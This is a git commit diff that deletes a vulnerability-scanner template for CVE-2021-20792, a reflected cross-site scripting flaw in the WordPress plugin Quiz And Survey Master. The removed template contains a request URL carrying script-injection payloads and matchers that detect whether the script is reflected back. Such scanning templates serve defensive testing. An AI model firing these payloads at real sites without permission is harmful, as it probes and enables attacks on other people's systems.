Delete CVE-2021-20792.yaml

patch-1
Dhiyaneshwaran 2021-10-12 16:26:35 +05:30 committed by GitHub
parent 6aa9d3e7ad
commit 3dce3d6436
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 0 additions and 36 deletions

View File

@ -1,36 +0,0 @@
id: CVE-2021-20792
info:
name: Quiz And Survey Master < 7.1.14 - Reflected Cross-Site Scripting
author: dhiyaneshDK
severity: medium
reference:
- https://wpscan.com/vulnerability/4deb3464-00ed-483b-8d91-f9dffe2d57cf
tags: wordpress,cve,cve2021,wp-plugin
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.10
cve-id: CVE-2021-20792
cwe-id: CWE-79
description: "Cross-site scripting vulnerability in Quiz And Survey Master versions prior to 7.1.14 allows a remote attacker to inject arbitrary script via unspecified vectors."
requests:
- method: GET
path:
- '{{BaseURL}}/wp-admin/admin.php?page=mlw_quiz_list&s="><script>alert(document.domain)</script>&paged="><script>alert(/XSS-paged/)</script>'
matchers-condition: and
matchers:
- type: word
words:
- '<script>alert(document.domain)</script>'
part: body
- type: status
status:
- 200
- type: word
words:
- "text/html"
part: header